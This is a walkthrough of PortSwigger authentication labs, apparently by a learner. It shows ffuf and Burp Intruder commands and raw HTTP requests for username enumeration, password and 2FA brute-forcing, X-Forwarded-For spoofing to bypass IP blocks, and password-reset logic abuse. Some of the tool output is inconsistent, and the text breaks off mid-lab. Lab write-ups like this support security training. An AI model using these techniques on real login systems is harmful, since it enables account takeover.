Authentication Vulnerability Practical

Lab #1: Username enumeration via different response

Lab URL: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses

$ ffuf -w ../user.txt:FUZZ -u https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login -X POST -d "username=FUZZ&password=anything" -H "Content-Type: application/x-www-form-urlencoded" -fs 2884

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : POST
 :: URL              : https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login
 :: Wordlist         : FUZZ: ../user.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=anything
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 2884
________________________________________________

app1                    [Status: 200, Size: 2886, Words: 1097, Lines: 62, Duration: 194ms]
:: Progress: [101/101] :: Job [1/1] :: 18 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

In the above command, I use ffuf with the following parameters

  • -w: To specify the wordlist of usernames

  • -u: To specify the target URL

  • -X: To specify the request method in that case its POST

  • -d: To specify the request data i.e username and password

  • -H: To specify the Header

  • -fs: To filter the result with the request size

The above command is using a tool called "ffuf" to perform a brute force attack on a login page at https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login. The attack is focused on enumerating valid usernames for the login page, using a list of usernames provided in a file named "user.txt". The "-w" flag is used to specify the wordlist file, while the "FUZZ" keyword is used to indicate where the values from the wordlist should be substituted in the request.

The attack is performed using the HTTP POST method, and the "-d" flag is used to specify the data to be submitted with the request. In this case, the data includes the "username" parameter, which is being brute-forced using the "FUZZ" keyword, and a static "password" parameter with the value "anything". The "-H" flag is used to specify the "Content-Type" header of the request in that case it's "application/x-www-form-urlencoded".

The "-fs" flag is used to filter responses based on their size. In this case, only responses with a size of 2884 bytes will be considered valid.

We use the ffuf tool to perform this attack but we can use any other tools like Burp Suite, Wfuzz, Gobuster, etc. For using ffuf we should be careful to supply valid filter and request to this attack to get success. In the above case, we use the filter by size with the value 2884 but initially, we don't know which value we have to use to filter so in that case first we have to make a request without the -fs parameter that will show us so many responses with the following things

[Status: 200, Size: 2884, Words: 1097, Lines: 62, Duration: 194ms]

In the above results, we have to see which things are getting different like Size: 2884, Words: 1097 etc we cannot use Status: 200 because all the requests get Status: 200 and if we filter that out then we cannot get any results. So we have to carefully choose the filter that we think should give us the correct results. Another thing we should be careful of is to specify the Content-Type Header in the POST request and its values according to the initial request in the browser. If we cannot specify that header then our request is invalid because the server doesn't understand our request type so they cannot parse our data, so we have to specify the Content-Type Header with its values either thats application/json or in that case, it's application/x-www-form-urlencoded. By carefully understanding what type of request we have to make we can successfully perform this attack.

So now you can understand what we did above and see the output you can see we get a valid username and that app1. Now we can brute-force its password by using this ffuf command.

$ ffuf -w ../password.txt:FUZZ -u https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login -X POST -d "username=app1&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : POST
 :: URL              : https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login
 :: Wordlist         : FUZZ: ../password.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=app1&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 200
________________________________________________

pass                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 196ms]
:: Progress: [100/100] :: Job [1/1] :: 19 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Most of the things are the same the only thing we change there is the username with app1 and password with the FUZZ keyword to brute force and filter by response code 200 because most of the login forms if we get a successful login they will redirect us to other page and its code is in between 300-399 so we filter the status code 200 so we only get the result that status code doesn't equal to 200. Using this technique and carefully using the tool we can exploit authentication issues.

Lab #2: 2FA simple bypass

Lab URL: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

Obtained Credentials

wiener:peter
carlos:montoya

This lab contains a login form and an email client for wiener users. When we log in using wiener user they sent the POST request to the /login endpoint and the request looks like this.

POST /login HTTP/2
Host: 0aae0022045642b2c00790de00220030.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://0aae0022045642b2c00790de00220030.web-security-academy.net
Dnt: 1
Referer: https://0aae0022045642b2c00790de00220030.web-security-academy.net/login2
Upgrade-Insecure-Requests: 1

username=wiener&password=peter

Their response looks like this.

HTTP/2 302 Found
Location: /login2
Set-Cookie: session=s0NR83jd3Ikb7ZO1l3pfuV6GSn0MQoZ9; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

They redirect us to the /login2 endpoint and set a session cookie. The /login2 endpoint generates an MFA code and is sent to our email client. when we use that code and sent the request our request looks like this.

POST /login2 HTTP/2
Host: 0aae0022045642b2c00790de00220030.web-security-academy.net
Cookie: session=s0NR83jd3Ikb7ZO1l3pfuV6GSn0MQoZ9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0aae0022045642b2c00790de00220030.web-security-academy.net
Dnt: 1
Referer: https://0aae0022045642b2c00790de00220030.web-security-academy.net/login2
Upgrade-Insecure-Requests: 1

mfa-code=1946

Its response looks like this

HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=s0NR83jd3Ikb7ZO1l3pfuV6GSn0MQoZ9; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

They check the MFA code and if that's correct they will redirect us to the /my-account endpoint with the same cookie that we get when we log in to the /login endpoint. If the code doesn't match they say MFA-code is incorrect error.

As they are using the same cookie we can try to log in and instead of following the /login2 endpoint we can just go to the /my-account endpoint and this will bypass 2FA. Using this for carlos user we can access its account without MFA.

Lab #3: Password Reset broken logic

LAB URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic

Given Credentials

wiener:peter

Victim's Username

carlos

The site has a forgot password functionality in which we can give our username and they sent the password reset link in his email. The password reset link looks like the following

https://0ad8002f031e11a1c1381280008e003e.web-security-academy.net/forgot-password?temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR

There we can give a New Password and Confirm the Password and its request looks like following

POST /forgot-password?temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR HTTP/2
Host: 0ad8002f031e11a1c1381280008e003e.web-security-academy.net
Cookie: session=QSaeCdd8cBWT4xKgDqZ2HaPXB24I4iFr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Origin: https://0ad8002f031e11a1c1381280008e003e.web-security-academy.net
Dnt: 1
Referer: https://0ad8002f031e11a1c1381280008e003e.web-security-academy.net/forgot-password?temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR
Upgrade-Insecure-Requests: 1

temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR&username=wiener&new-password-1=peter&new-password-2=peter

There we can see username=wiener has been given in the request if we can change it with some other username i.e carlos we can change its password and login into his account.

Lab #4: Username enumeration via subtly different responses

LAB URL: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses

In this lab, we have a login form in which we can login with a username and password. if any of these is incorrect then they show us an error message

Invalid username or password.

The request looks like this

POST /login HTTP/2
Host: 0a1900870411136ac1e490d30094006d.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://0a1900870411136ac1e490d30094006d.web-security-academy.net
Connection: keep-alive
Referer: https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login
Cookie: session=b6Y6jPzOF2t1nfaeCysgzm1BsWmsQHLs

username=admin&password=admin

So we have to make a post request with a Content-Type: application/x-www-form-urlencoded Header. So to do that we are using again ffuf tool to brute force the username but any other tools can also be used i.e Burp Suite, Gobuster, Wfuzz, hydra, etc.

$ ffuf -w ../user.txt:FUZZ -X POST -d "username=FUZZ&password=Anything" -H "Content-Type: application/x-www-form-urlencoded" -u https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login -fw 1109,1118
________________________________________________

 :: Method           : POST
 :: URL              : https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login
 :: Wordlist         : FUZZ: ../user.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=Anything
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 1109,1118
________________________________________________

ai                      [Status: 200, Size: 2976, Words: 1110, Lines: 63, Duration: 196ms]

There we filter results by words -fw with 1109, and 1118 and didn't use the filter by size -fs because when I use the filter by size different numbers of request sizes are returned from the server and I cannot able to filter to get one output so when I use the filter by words I only get one entry as you can see above and when I put the name on the login forms they give me an error message but they are not same as previous one they missed the . in it.

Invalid username or password

So that's why they get different numbers of words. Now we know the username we can brute-force this user password using this ffuf command.

ffuf -w ../password.txt:FUZZ -X POST -d "username=ai&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login -fc 200
________________________________________________

 :: Method           : POST
 :: URL              : https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login
 :: Wordlist         : FUZZ: ../user.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=Anything
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 1109,1118
________________________________________________

moscow                      [Status: 320, Size: 2976, Words: 1110, Lines: 63,

LAB #5: Username enumeration via response timing

LAB URL: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

Given Credentials

wiener:peter

This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.

Invalid username or password.

The site doesn't respond with other responses if any of these are incorrect. The login POST request looks like this.

POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 796
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

username=wiener&password=peter

We cannot get any different response to guess a valid username but if we pass a long string in the password we will see a certain period of time delay if the username is correct.

POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

username=wiener&password=very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string...........

As you can see username is correct but the password is not and long string the server responded after some time and the time goes higher and higher based on how long your password string is. After three incorrect attempts, the server throws an error message.

You have made too many incorrect login attempts. Please try again in 30 minutes (s).

So it looks like they block our IP Address and we can only send another login request after 30 mins.

There are some headers that can be used to bypass IP-based protection systems some of them are the following.

X-Forwarded-Host
X-Forwarded-For
X-Real-IP
Client-IP
Forwarded-For
Forwarded
Via

These are some headers that are used in bypassing IP-based protection systems. By manually or automatically adding that header one by one we got the server accepts the X-Forwarded-For Header and also they bypassed the IP-based Protection. So by adding that header we can brute force the username. Now our request looks like the following

POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 722
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-Forwarded-For: 192.168.10.1

username=wiener&password=very_long_string_here

The header value doesn't be your real IP it just looks like an IP and we can brute-force the username with this. Sent the request to burp intruder because it is easy in that case but other tools can also be used but we should know how to detect the time delay in it.

In the intruder use the Pitchfork Attack in Attack type option. and add two positions one for the last octet of IP and one for the username our request should look like this.

POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 796
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-For: 192.168.10.Β§1Β§

username=Β§&password=aaaaaaaaaaaaaaaaaaaa...[redacted]...aaaaaaaaaaaa

Notice two Β§signs in the username field and IP last octet now go to the payload section and for Payload Set 1 select the Payload Type to Number and set the number range like this

From: 1
To: 255
Step: 1

and set the Max fraction digit to 0 and leave everything else as it is and select Payload Set to 2 and select Payload Type to Simple List. Click the Load button and select the username list given on lab and click OK. The Payload Type 1 is for the IP Address field in our intruder and the Payload Type 2 field is for the username knowing all that just click the Start Attack button and wait to finish the attack. After the attack finishes Click on the Columns top drop-down menu and tick mark the Response Completed and Response received. This will add that column and we can see which requests get much time delay then we can just click on the field and they will arrange the order according to that and using that we can see which requests get a higher time delay so we can get the valid username.

Now we can brute force that user password and our request look like this now

POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 791
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-For: 192.168.10.Β§80Β§

username=ar&password=§§

There we can again set the Payload Type Number for payload position 1 and Payload Type simple list for Payload Position 2 and load the password list from the lab and start the attack. This time we can filter result from the status code because successful login has a 302 status code and following that we can brute force the username and password.

Lab #6: Broken brute-force protection, IP block

Lab URL: https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block

Given Credentials

wiener:peter

Victim Username

carlos

This lab has a login functionality in which we can use a username and password. If the username is not exited they are shown an error message

Invalid username

This is vulnerable to username brute force and if the username is correct and the password is not then the shown an error message

Incorrect Password

After some incorrect attempts, they will show an error message

You have made too many incorrect login attempts. Please try again in 1 minute(s).

So they block our IP Address and we can send another request after 1 min. There is no other bypass using Headers like X-Forwarded-For but if we log in using a valid account before the IP ban we can reset the count. So using that we can brute force username in two ways. One way is to make a list of usernames in which after two invalid usernames we have our valid usernames like the following.

admin
notadmin
wiener
carlos
montoya
wiener

So two wrong usernames with one correct username. And the other method is by using Burp Macros and we are using this method because they are much more convenient. So first go to the Project options section of the burp suite and there select the Session sub-section.

There on the Session Handling Rule follow the following Method.

  • Click on the Add button to add a rule.

  • In the Rule Description Section give the name for your rule [Optional]

  • In the Rule Actions Section click the Add button and there click Run a macro.

  • A new window pops up and there click on the Add button to add a macro

  • They will open a Macro Recorder and show all the requests that a populated from your proxy.

  • There select a Login Post request in which you successfully log in using wiener:peter credentials

  • After that leave all the settings as it is in Macro Editor and Click the OK button until you come back to Session handling rule editor.

  • There click on the Scope Section.

  • There click on the un-tick button for all the Tool Scope except for Intruder.

  • Check Include all URLs in URL Scope.

  • Then click OK

By following all the above steps carefully and correctly we successfully configure our macro now send the Login request to Intruder and change the username to carlos and add the payload position in the password parameter. The intruder request should look like the following.

POST /login HTTP/2
Host: 0a3f0034032f6c90c0cf4a1a001a001a.web-security-academy.net
Cookie: session=xVy4Epp8dHy7w5QPlikKgrgVu41e59Rp
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a3f0034032f6c90c0cf4a1a001a001a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=carlos&password=§§

Now go to the Payload section and load a password list that is given on the lab page. After that go to Resource Pool and create a New Resource Pool give him a name (optional) check Maximum concurrent requests to 1 and start the attack.

Now Intruder will start doing a password brute force and our macro will send successful login in the background. After Completion, you should see a successful login with status code 302 use that password to log in and solve the lab.

LAB #7: Username enumeration via account lock

Lab URL: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock

This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.

Invalid username or password.

The site doesn't respond with other responses if any of these are incorrect. The login POST request looks like this.

POST /login HTTP/2
Host: 0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Cookie: session=nfP2lTCMEqD9aR8QdFkCPA7BTRjL4azt
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=carlos&password=peterr

send this request to burp intruder and add Payload Position to the username and the password after some random value. The request should look like the following

POST /login HTTP/2
Host: 0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Cookie: session=nfP2lTCMEqD9aR8QdFkCPA7BTRjL4azt
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=§carlos§&password=random_value§§

In Attack type select Cluster bomb and go to the Payloads section. For Payload Set 1 use payload type to simple list and load the username list. For Payload Set 2 select Payload type to Null payload and generate 5 payloads and start the attack.

This will send 5 requests for one username and if they are correct we should see any other response than Invalid username and password. To filter that we can go to the Options section of the intruder and there on the Grep - Extract section click on Add button when the pop showed there click on fetch Response and scroll down and highlight the error message Incorrect username and password. and click OK.

Now start the attack and you should see one error message is different send that username again to the intruder and now select the password parameter and use a simple list with your password list. Again use grep extract to extract the error message and run the attack. Every request has an error message but one request that has a correct password doesn't has any error message. Wait for 1 min for the account lock and then log in using that password and solve the lab.

LAB #8: 2FA broken logic

Lab URL: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic

Given Credentials

wiener:peter

Victim's username: carlos

This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.

Incorrect username or password.

when the username and password are correct they redirect us to the /login2 endpoint and set the cookie verify=[username] and session cookie session=[session value here]. The exact request and response look like the following.

POST /login HTTP/2
Host: 0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Cookie: session=vbwYd2e4pHU9zwS7DTN1Tycm724KaM0l
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=wiener&password=peter
HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=S1SDZaLeZsSKXJ3M7bVnq3Hfv1Yg9id2; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

The /login2 endpoint generates the mfa-code for the username specified in the cookie and sent that code to its email account. We can send that mfa-code with the POST request like the following.

POST /login2 HTTP/2
Host: 0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Cookie: verify=wiener; session=S1SDZaLeZsSKXJ3M7bVnq3Hfv1Yg9id2
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

mfa-code=0102

If the code is correct they will redirect us to /my-account.

HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=TKgrNSLUO1oq9COyQyerjbny5lTEZDjS; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

If the code is not correct they show an error message.

Incorrect MFA code.

The site doesn't enforce any MFA brute force protection and the MFA code is only 4 digit code so we can easily brute force any user's code and access its account using the following method.

  • Sent the GET request to the /login2 endpoint with the cookie set to the victim username.

GET /login2 HTTP/2
Host: 0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Cookie: verify=carlos; session=S1SDZaLeZsSKXJ3M7bVnq3Hfv1Yg9id2
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

This will generate an MFA code for that user.

  • Now we can brute force that user mfa-code by sending the POST request to the intruder with the victim username.

  • And the payload position to mfa-code.

  • Use a simple list as an attack type

  • Load the list of 4-digit codes i.e SecLists/Fuzzing/4-digits-0000-9999.txt

  • Start the attack.

  • The successful code should redirect us to /my-account and the redirection request status code is 302 so we can add a filter to only show the 3xx code.

When you see the successful request right click on it and click show response in the browser option and copy the link and paste it into your browser and solve the lab.

Lab URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie

Given Credential: wiener:peter Victim Username: carlos Password list URL: https://portswigger.net/web-security/authentication/auth-lab-passwords

This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.

Incorrect username or password.

If we send too many incorrect login attempts they will show us an error.

You have made too many incorrect login attempts. Please try again in 1 minute(s).

They lock our IP for 1 min. There is no other headers are used to bypass the IP blocking protection.

The lab also has a stay login check-mark that is used to get a stay login otherwise we get logout after some time.

A simple Login request without stay login looks like this.

Request:

POST /login HTTP/2
Host: 0af000f40304a988c0f63b730062009d.web-security-academy.net
Cookie: session=hfuAVJg8zXlSamgPgAa7YB7gqZBtkfxP
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0af000f40304a988c0f63b730062009d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

username=wiener&password=peter

Response:

HTTP/2 302 Found
Location: /my-account
